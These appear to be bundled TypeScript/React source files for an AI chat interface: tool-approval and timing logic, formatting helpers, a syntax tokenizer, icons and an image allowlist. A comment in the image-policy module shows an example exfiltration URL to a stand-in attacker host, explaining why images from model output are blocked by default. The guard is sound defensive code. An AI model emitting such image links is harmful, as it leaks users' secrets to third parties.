/** The approval state of a tool part, or `undefined` for parts outside the approval flow. */
export function getApprovalStatus(part: ToolPart): ApprovalStatus | undefined {
  if (!part.approval) return undefined;
  if (part.state === 'approval-requested') return 'pending';
  if (part.state === 'output-denied') return 'denied';
  return part.approval.approved ? 'approved' : part.approval.approved === false ? 'denied' : 'pending';
}

export interface ToolTiming {
  /** First time the call was observed (input started streaming). */
  startedAt?: number | undefined;
  /** When execution began: input complete, or approval granted. */
  runningAt?: number | undefined;
  /** When the call settled (output, error or denial). */
  endedAt?: number | undefined;
}

export type ToolTimings = Readonly<Record<string, ToolTiming>>;

/** Pure reducer behind `useToolTimings`, exported for tests and custom stores. */
export function observeToolTimings(prev: ToolTimings, tools: readonly ToolPart[], now: number): ToolTimings {
  let next: Record<string, ToolTiming> | undefined;
  const write = (id: string, value: ToolTiming) => {
    next ??= { ...prev };
    next[id] = value;
  };
  for (const tool of tools) {
    const phase = getToolPhase(tool);
    const current = (next ?? prev)[tool.toolCallId];
    if (!current) {
      if (isSettledPhase(phase)) write(tool.toolCallId, {});
      else write(tool.toolCallId, { startedAt: now, runningAt: phase === 'running' ? now : undefined });
      continue;
    }
    if (current.startedAt === undefined || current.endedAt !== undefined) continue;
    if (phase === 'running' && current.runningAt === undefined) write(tool.toolCallId, { ...current, runningAt: now });
    else if (isSettledPhase(phase))
      write(tool.toolCallId, { ...current, runningAt: current.runningAt ?? now, endedAt: now });
  }
  return next ?? prev;
}

/** Collect sources, de-duplicated by URL (or source id for documents). */
export function getSourceParts(parts: readonly AnyUIPart[]): SourcePart[] {
  const seen = new Set<string>();
  const out: SourcePart[] = [];
  for (const part of parts) {
    if (!isSourcePart(part)) continue;
    const key = part.type === 'source-url' ? part.url : `doc:${part.sourceId}`;
    if (seen.has(key)) continue;
    seen.add(key);
    out.push(part);
  }
  return out;
}

/** A source in app-level shape. AI SDK `source-url` / `source-document` parts are accepted too. */
export interface SourceItem {
  id: string;
  url?: string | undefined;
  title?: string | undefined;
  /** Optional snippet shown in the cards variant. */
  description?: string | undefined;
  /** For documents. */
  filename?: string | undefined;
  mediaType?: string | undefined;
}

export function toSourceItem(source: SourcePart | SourceItem): SourceItem {
  if ('type' in source && isSourcePart(source as SourcePart)) {
    const part = source as SourcePart;
    return part.type === 'source-url'
      ? { id: part.sourceId, url: part.url, title: part.title }
      : { id: part.sourceId, title: part.title, filename: part.filename, mediaType: part.mediaType };
  }
  return source as SourceItem;
}

export const AGENT_STATE_LABEL: Record<AgentState, string> = {
  idle: 'Idle',
  thinking: 'Thinking',
  working: 'Working',
  'awaiting-approval': 'Waiting for approval',
  done: 'Done',
  error: 'Error',
};

export interface DerivedAgentState {
  state: AgentState;
  /** Short human detail, e.g. "read_file" or "Writing response". */
  detail?: string | undefined;
}

/**
 * Map `useChat` status plus the latest assistant message to a single agent state.
 * Human-in-the-loop waits (approvals, client-side tools awaiting output) take
 * precedence over transport status, because the run cannot progress without the user.
 */
export function deriveAgentState({
  status,
  message,
  pendingClientTools = [],
}: {
  status: ChatStatus;
  message?: Pick<UIMessage, 'role' | 'parts'> | undefined;
  /** Names of client-side tools whose `input-available` state means "waiting for the user". */
  pendingClientTools?: readonly string[];
}): DerivedAgentState {
  if (status === 'error') return { state: 'error' };
  const parts = message?.role === 'assistant' ? message.parts : [];
  const tools = getToolParts(parts);
  const approval = tools.find((t) => t.state === 'approval-requested' && !isAutomaticApproval(t.approval));
  if (approval) return { state: 'awaiting-approval', detail: getToolPartName(approval) };
  const clientWait = tools.find(
    (t) => t.state === 'input-available' && pendingClientTools.includes(getToolPartName(t)),
  );
  if (clientWait && status !== 'submitted') return { state: 'awaiting-approval', detail: getToolPartName(clientWait) };
  if (status === 'submitted') return { state: 'thinking' };
  if (status === 'streaming') {
    const last = parts.at(-1);
    if (!last || last.type === 'step-start' || last.type === 'reasoning') return { state: 'thinking' };
    if (isToolPart(last)) return { state: 'working', detail: getToolPartName(last) };
    if (last.type === 'text') return { state: 'working', detail: 'Writing response' };
    return { state: 'working' };
  }
  return parts.length > 0 ? { state: 'done' } : { state: 'idle' };
}
77:T1071,/** Formatting helpers shared by the components. All output is locale-stable. */

/*
 * Each unit is chosen by the value as it will be printed, not the raw value: otherwise rounding
 * produces "1000ms", "60.0s" or "1000.0k" instead of moving up to the next unit.
 */

export function formatDuration(ms: number | undefined | null): string {
  if (ms == null || !Number.isFinite(ms) || ms < 0) return '–';
  if (Math.round(ms) < 1000) return `${Math.round(ms)}ms`;
  const centis = (ms / 1000).toFixed(2);
  if (Number(centis) < 10) return `${centis}s`;
  const tenths = (ms / 1000).toFixed(1);
  if (Number(tenths) < 60) return `${tenths}s`;
  const seconds = Math.round(ms / 1000);
  return `${Math.floor(seconds / 60)}m ${String(seconds % 60).padStart(2, '0')}s`;
}

/** Spoken form for screen readers, e.g. "1.2 seconds". */
export function formatDurationLong(ms: number | undefined | null): string {
  if (ms == null || !Number.isFinite(ms) || ms < 0) return 'unknown duration';
  if (Math.round(ms) < 1000) return `${Math.round(ms)} milliseconds`;
  const tenths = (ms / 1000).toFixed(1);
  if (Number(tenths) < 60) return `${tenths} seconds`;
  const total = Math.round(ms / 1000);
  const minutes = Math.floor(total / 60);
  const rest = total % 60;
  return `${minutes} minute${minutes === 1 ? '' : 's'} ${rest} second${rest === 1 ? '' : 's'}`;
}

export function formatTokens(n: number | undefined | null): string {
  if (n == null || !Number.isFinite(n)) return '–';
  if (Math.abs(Math.round(n)) < 1000) return String(Math.round(n));
  const hundredths = (n / 1000).toFixed(2);
  if (Math.abs(Number(hundredths)) < 10) return `${hundredths}k`;
  const tenths = (n / 1000).toFixed(1);
  if (Math.abs(Number(tenths)) < 1000) return `${tenths}k`;
  return `${(n / 1_000_000).toFixed(2)}M`;
}

export function formatCost(usd: number | undefined | null): string {
  if (usd == null || !Number.isFinite(usd)) return '–';
  if (usd === 0) return '$0.00';
  const four = usd.toFixed(4);
  if (Math.abs(Number(four)) < 0.01) return `$${four}`;
  const three = usd.toFixed(3);
  if (Math.abs(Number(three)) < 1) return `$${three}`;
  return `$${usd.toFixed(2)}`;
}

/** `read_file` / `readFile` / `read-file` → "Read file". */
export function humanizeToolName(name: string): string {
  const spaced = name
    .replace(/[_-]+/g, ' ')
    .replace(/([a-z0-9])([A-Z])/g, '$1 $2')
    .trim()
    .toLowerCase();
  return spaced.charAt(0).toUpperCase() + spaced.slice(1);
}

export function getHostname(url: string): string {
  try {
    return new URL(url).hostname.replace(/^www\./, '');
  } catch {
    return url;
  }
}

/** Compact one-line preview of an arbitrary tool input. */
export function summarizeValue(value: unknown, max = 72): string | undefined {
  if (value == null) return undefined;
  let text: string;
  if (typeof value === 'string') text = value;
  else if (typeof value === 'number' || typeof value === 'boolean') text = String(value);
  else if (typeof value === 'object') {
    const entries = Object.entries(value as Record<string, unknown>);
    if (entries.length === 0) return undefined;
    // Prefer the first string-ish field: it is usually the most descriptive (query, path, command).
    const primary = entries.find(([, v]) => typeof v === 'string');
    text = primary
      ? String(primary[1])
      : entries.map(([k, v]) => `${k}: ${typeof v === 'object' ? '…' : String(v)}`).join(', ');
  } else return undefined;
  text = text.replace(/\s+/g, ' ').trim();
  return text.length > max ? `${text.slice(0, max - 1)}…` : text;
}

export function safeStringify(value: unknown, space = 2): string {
  if (value === undefined) return 'undefined';
  if (typeof value === 'string') return JSON.stringify(value);
  const seen = new WeakSet<object>();
  try {
    return (
      JSON.stringify(
        value,
        (_key, v: unknown) => {
          if (typeof v === 'bigint') return `${v.toString()}n`;
          if (typeof v === 'object' && v !== null) {
            if (seen.has(v)) return '[Circular]';
            seen.add(v);
          }
          return v;
        },
        space,
      ) ?? String(value)
    );
  } catch {
    return String(value);
  }
}
78:T153c,/**
 * A deliberately small, line-oriented syntax tokenizer. It covers the languages
 * agents edit most (TS/JS/JSON/CSS/shell/YAML/Python) well enough for review UI
 * without shipping a grammar engine. Multi-line constructs are tokenized per line.
 */
export type TokenKind = 'plain' | 'keyword' | 'string' | 'number' | 'comment' | 'punctuation' | 'property';

export interface Token {
  text: string;
  kind: TokenKind;
}

const JS_KEYWORDS = new Set(
  (
    'abstract as async await break case catch class const continue debugger declare default delete do else enum export extends ' +
    'false finally for from function get if implements import in instanceof interface let new null of private protected public ' +
    'readonly return satisfies set static super switch this throw true try type typeof undefined var void while with yield'
  ).split(' '),
);
const PY_KEYWORDS = new Set(
  'and as assert async await break class continue def del elif else except False finally for from global if import in is lambda None nonlocal not or pass raise return True try while with yield'.split(
    ' ',
  ),
);
const SH_KEYWORDS = new Set(
  'if then else elif fi for in do done while case esac function export local return'.split(' '),
);
const LITERALS = new Set(['true', 'false', 'null']);

const HASH_COMMENT = new Set(['sh', 'py', 'yaml']);

const RULES: Array<[RegExp, TokenKind | 'word']> = [
  [/^\/\/.*/, 'comment'],
  [/^\/\*.*?(\*\/|$)/, 'comment'],
  [/^"(?:[^"\\]|\\.)*"?/, 'string'],
  [/^'(?:[^'\\]|\\.)*'?/, 'string'],
  [/^`(?:[^`\\]|\\.)*`?/, 'string'],
  [/^-?(?:0x[\da-f]+|\d[\d_]*(?:\.\d+)?(?:e[+-]?\d+)?)\b/i, 'number'],
  [/^[A-Za-z_$][\w$-]*/, 'word'],
  [/^\s+/, 'plain'],
  [/^[{}()[\];,.<>/=+\-*!?:&|%^~@#]/, 'punctuation'],
];

export function tokenizeLine(line: string, language = 'text'): Token[] {
  if (language === 'text' || language === 'md' || !line) return [{ text: line, kind: 'plain' }];
  const tokens: Token[] = [];
  const keywords = language === 'py' ? PY_KEYWORDS : language === 'sh' ? SH_KEYWORDS : JS_KEYWORDS;
  let rest = line;
  while (rest.length > 0) {
    if (HASH_COMMENT.has(language) && rest.startsWith('#')) {
      tokens.push({ text: rest, kind: 'comment' });
      break;
    }
    let matched = false;
    for (const [re, kind] of RULES) {
      if (
        (kind === 'comment' && HASH_COMMENT.has(language)) ||
        (language === 'css' && kind === 'comment' && re.source.startsWith('^\\/\\/'))
      )
        continue;
      const m = re.exec(rest);
      if (!m) continue;
      const text = m[0];
      let resolved: TokenKind;
      if (kind === 'word') {
        if (language === 'json') resolved = LITERALS.has(text) ? 'keyword' : 'plain';
        else if (language === 'css') resolved = /^\s*:/.test(rest.slice(text.length)) ? 'property' : 'plain';
        else if (language === 'yaml')
          resolved = /^\s*:/.test(rest.slice(text.length)) ? 'property' : LITERALS.has(text) ? 'keyword' : 'plain';
        else resolved = keywords.has(text) ? 'keyword' : 'plain';
        // Identifiers may not contain '-' outside CSS/YAML/shell; give the dash back.
        if (text.includes('-') && !['css', 'yaml', 'sh'].includes(language)) {
          const word = text.slice(0, text.indexOf('-'));
          tokens.push({ text: word, kind: keywords.has(word) ? 'keyword' : 'plain' });
          rest = rest.slice(word.length);
          matched = true;
          break;
        }
      } else if (
        kind === 'string' &&
        (language === 'json' || language === 'yaml') &&
        /^\s*:/.test(rest.slice(text.length))
      ) {
        resolved = 'property';
      } else {
        resolved = kind;
      }
      pushToken(tokens, text, resolved);
      rest = rest.slice(text.length);
      matched = true;
      break;
    }
    if (!matched) {
      pushToken(tokens, rest[0]!, 'plain');
      rest = rest.slice(1);
    }
  }
  return tokens;
}

function pushToken(tokens: Token[], text: string, kind: TokenKind) {
  const prev = tokens.at(-1);
  if (prev && prev.kind === kind) prev.text += text;
  else tokens.push({ text, kind });
}

export interface HighlightedPiece extends Token {
  changed: boolean;
}

/** Split syntax tokens along word-diff boundaries so both can be rendered at once. */
export function mergeTokensWithSegments(
  tokens: readonly Token[],
  segments: ReadonlyArray<{ text: string; changed: boolean }> | undefined,
): HighlightedPiece[] {
  if (!segments || segments.length === 0) return tokens.map((t) => ({ ...t, changed: false }));
  const out: HighlightedPiece[] = [];
  let ti = 0;
  let tOffset = 0;
  for (const seg of segments) {
    let remaining = seg.text.length;
    while (remaining > 0 && ti < tokens.length) {
      const token = tokens[ti]!;
      const available = token.text.length - tOffset;
      const take = Math.min(available, remaining);
      out.push({ text: token.text.slice(tOffset, tOffset + take), kind: token.kind, changed: seg.changed });
      remaining -= take;
      tOffset += take;
      if (tOffset >= token.text.length) {
        ti++;
        tOffset = 0;
      }
    }
  }
  return out;
}

export const TOKEN_CLASS: Record<TokenKind, string> = {
  plain: '',
  keyword: 'text-aui-code-keyword',
  string: 'text-aui-code-string',
  number: 'text-aui-code-number',
  comment: 'text-aui-code-comment italic',
  punctuation: 'text-aui-code-punctuation',
  property: 'text-aui-code-keyword',
};
79:T207e,'use client';

import { useEffect, useLayoutEffect, useRef, useState, useSyncExternalStore } from 'react';
import type { ChatStatus } from 'ai';
import { getToolParts, observeToolTimings, type AnyUIPart, type ToolTimings } from './ai';

export type { ToolTiming, ToolTimings } from './ai';

const useIsoLayoutEffect = typeof window === 'undefined' ? useEffect : useLayoutEffect;

const REDUCED_MOTION = '(prefers-reduced-motion: reduce)';

function subscribeReducedMotion(callback: () => void) {
  if (typeof window === 'undefined' || !window.matchMedia) return () => {};
  const mql = window.matchMedia(REDUCED_MOTION);
  mql.addEventListener('change', callback);
  return () => mql.removeEventListener('change', callback);
}

/** Tracks the user's `prefers-reduced-motion` setting. */
export function usePrefersReducedMotion(): boolean {
  return useSyncExternalStore(
    subscribeReducedMotion,
    () => (typeof window !== 'undefined' && window.matchMedia ? window.matchMedia(REDUCED_MOTION).matches : false),
    () => false,
  );
}

/**
 * Current time in ms, re-rendering on an interval while `active`.
 * The value can lag by up to one interval; clamp derived durations at 0.
 *
 * 0 on the server: reading the clock there makes the render impure (Next.js `cacheComponents`
 * fails the build on it), and clock-derived output waits for hydration anyway (`useHydrated`).
 */
export function useNow(active: boolean, intervalMs = 100): number {
  const [now, setNow] = useState(() => (typeof window === 'undefined' ? 0 : Date.now()));
  useEffect(() => {
    if (!active) return;
    const tick = () => setNow(Date.now());
    const first = setTimeout(tick, 0);
    const id = setInterval(tick, intervalMs);
    return () => {
      clearTimeout(first);
      clearInterval(id);
    };
  }, [active, intervalMs]);
  return now;
}

/** A tiny external store: subscribe/getSnapshot plus an `update` that only notifies on change. */
function createStore<T>(initial: T) {
  let state = initial;
  const listeners = new Set<() => void>();
  return {
    get: () => state,
    set(next: T) {
      if (next === state) return;
      state = next;
      listeners.forEach((l) => l());
    },
    subscribe(listener: () => void) {
      listeners.add(listener);
      return () => listeners.delete(listener);
    },
  };
}

/**
 * Measures tool-call timings client-side by watching AI SDK state transitions.
 * Calls that are already settled when first observed (e.g. restored history)
 * get no timing rather than a misleading zero.
 */
export function useToolTimings(parts: readonly AnyUIPart[]): ToolTimings {
  const [store] = useState(() => createStore<ToolTimings>({}));
  const snapshot = useSyncExternalStore(store.subscribe, store.get, store.get);
  useIsoLayoutEffect(() => {
    store.set(observeToolTimings(store.get(), getToolParts(parts), Date.now()));
  }, [parts, store]);
  return snapshot;
}

export interface RunTiming {
  startedAt?: number | undefined;
  firstTokenAt?: number | undefined;
  /** Milliseconds the agent spent working, excluding time waiting on the user. */
  activeMs: number;
  /**
   * Time to first token of the run. A request that finishes without a `streaming` status (its
   * response arrived in one burst, or it was stopped) counts its end as the first token.
   */
  ttftMs?: number | undefined;
  isRunning: boolean;
}

interface RunTimingState {
  startedAt?: number | undefined;
  firstTokenAt?: number | undefined;
  accumulatedMs: number;
  segmentStart?: number | undefined;
}

/**
 * Derives run latency from `useChat` status transitions. A run can span several
 * requests (e.g. continuing after an approval); time spent waiting on the human
 * between requests is excluded from `activeMs`. Change `resetKey` to start over.
 */
export function useRunTiming(status: ChatStatus, resetKey?: unknown): RunTiming {
  const [store] = useState(() => createStore<RunTimingState>({ accumulatedMs: 0 }));
  const state = useSyncExternalStore(store.subscribe, store.get, store.get);
  const keyRef = useRef(resetKey);
  useIsoLayoutEffect(() => {
    let current = store.get();
    if (keyRef.current !== resetKey) {
      keyRef.current = resetKey;
      current = { accumulatedMs: 0 };
    }
    store.set(reduceRunTiming(current, status, Date.now()));
  }, [status, resetKey, store]);
  const isRunning = state.segmentStart !== undefined;
  const now = useNow(isRunning, 100);
  return {
    startedAt: state.startedAt,
    firstTokenAt: state.firstTokenAt,
    activeMs: state.accumulatedMs + (state.segmentStart !== undefined ? Math.max(0, now - state.segmentStart) : 0),
    ttftMs:
      state.startedAt !== undefined && state.firstTokenAt !== undefined
        ? state.firstTokenAt - state.startedAt
        : undefined,
    isRunning,
  };
}

/** Eases a number toward its target; jumps immediately under reduced motion. */
export function useAnimatedNumber(value: number, durationMs = 450): number {
  const reduced = usePrefersReducedMotion();
  const [display, setDisplay] = useState(value);
  const displayRef = useRef(value);
  useEffect(() => {
    if (reduced || typeof requestAnimationFrame === 'undefined') {
      displayRef.current = value;
      return;
    }
    const from = displayRef.current;
    if (from === value) return;
    const start = performance.now();
    let frame = 0;
    const tick = (t: number) => {
      const p = Math.min(1, (t - start) / durationMs);
      const eased = 1 - Math.pow(1 - p, 3);
      const v = from + (value - from) * eased;
      displayRef.current = v;
      setDisplay(v);
      if (p < 1) frame = requestAnimationFrame(tick);
    };
    frame = requestAnimationFrame(tick);
    return () => cancelAnimationFrame(frame);
  }, [value, durationMs, reduced]);
  return reduced || typeof requestAnimationFrame === 'undefined' ? value : display;
}

export interface ActivityWindow {
  startedAt?: number | undefined;
  endedAt?: number | undefined;
}

/** Records when `active` last turned on and off. Restarts when it turns on again. */
export function useActivityWindow(active: boolean): ActivityWindow {
  const [store] = useState(() => createStore<ActivityWindow>({}));
  const state = useSyncExternalStore(store.subscribe, store.get, store.get);
  useIsoLayoutEffect(() => {
    const cur = store.get();
    const now = Date.now();
    if (active && (cur.startedAt === undefined || cur.endedAt !== undefined)) store.set({ startedAt: now });
    else if (!active && cur.startedAt !== undefined && cur.endedAt === undefined) store.set({ ...cur, endedAt: now });
  }, [active, store]);
  return state;
}

const noopSubscribe = () => () => {};
const detectMac = () =>
  typeof navigator !== 'undefined' && /Mac|iPhone|iPad|iPod/.test(navigator.platform || navigator.userAgent);

/** Platform check that is safe to use during hydration (server renders the non-Mac variant). */
export function useIsMac(): boolean {
  return useSyncExternalStore(noopSubscribe, detectMac, () => false);
}

const hydratedSnapshot = () => true;
const serverSnapshot = () => false;

/**
 * False during SSR and hydration, true afterwards. Clock-derived values (live
 * durations, waterfall widths) render only once hydrated so server and client markup match.
 */
export function useHydrated(): boolean {
  return useSyncExternalStore(noopSubscribe, hydratedSnapshot, serverSnapshot);
}
7a:Td8a,import type { SVGProps } from 'react';

type IconProps = SVGProps<SVGSVGElement> & { size?: number };

function Svg({ size = 16, children, ...props }: IconProps) {
  return (
    <svg
      width={size}
      height={size}
      viewBox="0 0 24 24"
      fill="none"
      stroke="currentColor"
      strokeWidth={2}
      strokeLinecap="round"
      strokeLinejoin="round"
      aria-hidden="true"
      focusable="false"
      {...props}
    >
      {children}
    </svg>
  );
}

export const CheckIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M5 12.5 9.5 17 19 7.5" />
  </Svg>
);
export const XIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M6.5 6.5l11 11M17.5 6.5l-11 11" />
  </Svg>
);
export const ChevronIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M9 6l6 6-6 6" />
  </Svg>
);
export const BanIcon = (p: IconProps) => (
  <Svg {...p}>
    <circle cx="12" cy="12" r="8.5" />
    <path d="M6 6l12 12" />
  </Svg>
);
export const AlertIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M12 3.5 21.5 20h-19L12 3.5Z" />
    <path d="M12 10v4.5M12 17.25v.25" />
  </Svg>
);
export const ShieldIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M12 3 19.5 6v5.5c0 4.6-3.1 8-7.5 9.5-4.4-1.5-7.5-4.9-7.5-9.5V6L12 3Z" />
    <path d="M12 8.5v4M12 15.5v.25" />
  </Svg>
);
export const SparkIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M12 3.5c.6 4.4 2.6 6.9 7.5 8.5-4.9 1.6-6.9 4.1-7.5 8.5-.6-4.4-2.6-6.9-7.5-8.5 4.9-1.6 6.9-4.1 7.5-8.5Z" />
  </Svg>
);
export const CopyIcon = (p: IconProps) => (
  <Svg {...p}>
    <rect x="8.5" y="8.5" width="12" height="12" rx="2.5" />
    <path d="M15.5 5.5v-.5a2 2 0 0 0-2-2H5.5a2 2 0 0 0-2 2v8a2 2 0 0 0 2 2h.5" />
  </Svg>
);
export const ExternalIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M14 4h6v6M20 4l-9 9" />
    <path d="M18 14v4.5a1.5 1.5 0 0 1-1.5 1.5h-11A1.5 1.5 0 0 1 4 18.5v-11A1.5 1.5 0 0 1 5.5 6H10" />
  </Svg>
);
export const FileIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M14 3.5H7A1.5 1.5 0 0 0 5.5 5v14A1.5 1.5 0 0 0 7 20.5h10a1.5 1.5 0 0 0 1.5-1.5V8L14 3.5Z" />
    <path d="M14 3.5V8h4.5" />
  </Svg>
);
export const ImageIcon = (p: IconProps) => (
  <Svg {...p}>
    <rect x="3" y="3" width="18" height="18" rx="2" />
    <circle cx="9" cy="9" r="2" />
    <path d="m21 15-3.1-3.1a2 2 0 0 0-2.8 0L6 21" />
  </Svg>
);
export const ToolIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M13 3 5.5 13.5h6L10.5 21 18.5 10.5h-6L13 3Z" />
  </Svg>
);
export const TerminalIcon = (p: IconProps) => (
  <Svg {...p}>
    <rect x="3" y="4.5" width="18" height="15" rx="2.5" />
    <path d="M7.5 9.5 10.5 12l-3 2.5M12.5 15h4" />
  </Svg>
);
export const ClockIcon = (p: IconProps) => (
  <Svg {...p}>
    <circle cx="12" cy="12" r="8.5" />
    <path d="M12 7.5V12l3 2" />
  </Svg>
);
export const ArrowUpIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M12 19V5M6 11l6-6 6 6" />
  </Svg>
);
export const ArrowDownIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M12 5v14M6 13l6 6 6-6" />
  </Svg>
);
export const UndoIcon = (p: IconProps) => (
  <Svg {...p}>
    <path d="M9 14 4 9l5-5" />
    <path d="M4 9h10.5a5.5 5.5 0 0 1 0 11H11" />
  </Svg>
);

/** Indeterminate spinner: a quarter arc on a faint track. */
export const SpinnerIcon = ({ className, ...p }: IconProps) => (
  <Svg {...p} className={className}>
    <circle cx="12" cy="12" r="8.5" opacity="0.25" />
    <path d="M12 3.5a8.5 8.5 0 0 1 8.5 8.5" />
  </Svg>
);
7b:T6a9,/**
 * Which image URLs may load (see `MarkdownProps.allowedImageHosts`). Fetching a URL from model
 * output can leak data to a third party (`![](https://attacker.example/p.png?d=secret)`), so
 * nothing loads unless it is allowed.
 */
export interface ImagePolicy {
  /** `'*'`: every image. */
  any: boolean;
  /** `'self'`: relative URLs, which load from the page's own origin. */
  self: boolean;
  /** Lowercased host names (any port) and `host:port` pairs. */
  hosts: ReadonlySet<string>;
}

export function getImagePolicy(allowed: readonly string[] | undefined): ImagePolicy {
  const hosts = new Set<string>();
  let any = false;
  let self = false;
  for (const entry of allowed ?? []) {
    if (entry === '*') any = true;
    else if (entry === 'self') self = true;
    else hosts.add(entry.trim().toLowerCase());
  }
  return { any, self, hosts };
}

/**
 * Relative URLs are resolved against this fixed base rather than the page's location, so the
 * server and the browser reach the same verdict (no hydration mismatch). A URL that resolves away
 * from it is not relative: `//host/x`, and `/\host/x`, which browsers read as `//host/x`.
 */
const SELF = 'https://self.invalid';

export function isAllowedImage(src: string, policy: ImagePolicy): boolean {
  if (policy.any) return true;
  let url: URL;
  try {
    url = new URL(src);
  } catch {
    // No scheme: relative, or protocol-relative.
    if (!policy.self) return false;
    try {
      return new URL(src, `${SELF}/`).origin === SELF;
    } catch {
      return false;
    }
  }
  return (
    (url.protocol === 'https:' || url.protocol === 'http:') &&
    (policy.hosts.has(url.hostname) || policy.hosts.has(url.host))
  );
}
7c:T176e,'use client';

import {
  createElement,
  useEffect,
  useMemo,
  useRef,
  useState,
  type ComponentPropsWithoutRef,
  type ReactNode,
} from 'react';
import { CheckIcon, CopyIcon } from './icons';
import { safeStringify } from './format';
import { TOKEN_CLASS, tokenizeLine } from './highlight';
import { cn } from './utils';

/**
 * An <img> for images from messages, written without JSX. Next.js' `no-img-element` lint rule
 * flags the element and suggests next/image, which cannot load these URLs without every host
 * configured; a comment disabling that rule would itself be an error where ESLint has no Next.js
 * plugin. The repository's ESLint config checks `Img` for alt text like an <img>.
 */
export function Img({ alt, ...props }: ComponentPropsWithoutRef<'img'> & { alt: string }) {
  return createElement('img', { alt, ...props });
}

/** Keyboard key hint. Purely visual: shortcuts are also described in text for assistive tech. */
export function Kbd({ className, ...props }: ComponentPropsWithoutRef<'kbd'>) {
  return (
    <kbd
      className={cn(
        'border-aui-border-strong bg-aui-bg/40 font-aui-mono text-aui-fg-muted inline-flex h-5 min-w-5 items-center justify-center rounded-[5px] border px-1 text-[11px] leading-none font-medium',
        className,
      )}
      {...props}
    />
  );
}

/** A visually hidden live region. Render it unconditionally so updates are announced. */
export function LiveRegion({
  children,
  politeness = 'polite',
}: {
  children?: ReactNode;
  politeness?: 'polite' | 'assertive';
}) {
  return (
    <div
      className="sr-only"
      role={politeness === 'assertive' ? 'alert' : 'status'}
      aria-live={politeness}
      aria-atomic="true"
    >
      {children}
    </div>
  );
}

/** Returns `value` after it has been stable for `delayMs`. */
export function useDebouncedValue<T>(value: T, delayMs: number): T {
  const [debounced, setDebounced] = useState(value);
  useEffect(() => {
    const id = setTimeout(() => setDebounced(value), delayMs);
    return () => clearTimeout(id);
  }, [value, delayMs]);
  return debounced;
}

export function CopyButton({ text, label = 'Copy', className }: { text: string; label?: string; className?: string }) {
  const [copied, setCopied] = useState(false);
  const timer = useRef<ReturnType<typeof setTimeout> | undefined>(undefined);
  useEffect(() => () => clearTimeout(timer.current), []);
  return (
    <button
      type="button"
      onClick={async () => {
        try {
          await navigator.clipboard.writeText(text);
          setCopied(true);
          clearTimeout(timer.current);
          timer.current = setTimeout(() => setCopied(false), 1500);
        } catch {
          // Clipboard can be unavailable (permissions, insecure context); fail quietly.
        }
      }}
      aria-label={copied ? 'Copied' : label}
      className={cn(
        'text-aui-fg-subtle hover:bg-aui-surface-2 hover:text-aui-fg focus-visible:outline-aui-ring inline-flex size-7 cursor-pointer items-center justify-center rounded-md transition-colors focus-visible:outline-2 focus-visible:outline-offset-1',
        className,
      )}
    >
      {copied ? <CheckIcon size={14} className="text-aui-accent-fg" /> : <CopyIcon size={14} />}
    </button>
  );
}

/** Syntax-tinted, line-tokenized code. */
export function CodeLines({ code, language }: { code: string; language: string }) {
  const lines = useMemo(() => code.split('\n'), [code]);
  return (
    <code>
      {lines.map((line, i) => (
        <span key={i} className="block min-h-[1lh]">
          {tokenizeLine(line, language).map((t, j) => (
            <span key={j} className={TOKEN_CLASS[t.kind] || undefined}>
              {t.text}
            </span>
          ))}
        </span>
      ))}
    </code>
  );
}

export interface JsonViewProps {
  value: unknown;
  /** Accessible name for the code block, e.g. "Input". */
  label: string;
  /** Lines shown before "Show all" collapses the rest. */
  collapseAfter?: number;
  className?: string;
}

/** Read-only JSON with light syntax tinting, a copy button and long-output folding. */
export function JsonView({ value, label, collapseAfter = 24, className }: JsonViewProps) {
  const text = useMemo(() => (typeof value === 'string' ? value : safeStringify(value)), [value]);
  const language = typeof value === 'string' ? 'text' : 'json';
  const lineCount = useMemo(() => text.split('\n').length, [text]);
  const [showAll, setShowAll] = useState(false);
  const folded = !showAll && lineCount > collapseAfter;
  const shown = folded ? text.split('\n').slice(0, collapseAfter).join('\n') : text;
  return (
    <div data-slot="json-view" className={cn('group/json relative', className)}>
      <pre
        role="group"
        aria-label={label}
        tabIndex={0}
        className="border-aui-border bg-aui-bg/60 font-aui-mono text-aui-fg focus-visible:outline-aui-ring max-h-80 overflow-auto rounded-lg border px-3 py-2.5 text-xs leading-5 whitespace-pre focus-visible:outline-2 focus-visible:outline-offset-1"
      >
        <CodeLines code={shown} language={language} />
      </pre>
      <div className="absolute top-1.5 right-1.5 opacity-0 transition-opacity group-focus-within/json:opacity-100 group-hover/json:opacity-100 [@media(hover:none)]:opacity-100">
        <CopyButton text={text} label={`Copy ${label.toLowerCase()}`} />
      </div>
      {lineCount > collapseAfter && (
        <button
          type="button"
          onClick={() => setShowAll((v) => !v)}
          className="font-aui-mono text-aui-fg-subtle hover:text-aui-fg focus-visible:outline-aui-ring mt-1.5 cursor-pointer rounded text-[11px] underline-offset-2 hover:underline focus-visible:outline-2 focus-visible:outline-offset-1"
        >
          {showAll ? 'Show less' : `Show all ${lineCount} lines`}
        </button>
      )}
    </div>
  );
}

export const focusRing = 'focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-aui-ring';
7d:T599,import { clsx, type ClassValue } from 'clsx';
import { twMerge } from 'tailwind-merge';

/** Merge class names, resolving Tailwind utility conflicts (last one wins). */
export function cn(...inputs: ClassValue[]): string {
  return twMerge(clsx(inputs));
}

/** True when a keyboard event originates from a text-entry control. */
export function isTypingTarget(target: EventTarget | null): boolean {
  if (!(target instanceof HTMLElement)) return false;
  if (target.isContentEditable) return true;
  const tag = target.tagName;
  if (tag === 'TEXTAREA' || tag === 'SELECT') return true;
  if (tag === 'INPUT') {
    const type = (target as HTMLInputElement).type;
    return !['button', 'checkbox', 'radio', 'submit', 'reset'].includes(type);
  }
  return false;
}

/** True for a promise or any other thenable, e.g. what an async event handler returns. */
export function isPromiseLike(value: unknown): value is PromiseLike<unknown> {
  return (
    value !== null &&
    (typeof value === 'object' || typeof value === 'function') &&
    typeof (value as { then?: unknown }).then === 'function'
  );
}

/** True when a key event carries a modifier we should not intercept. */
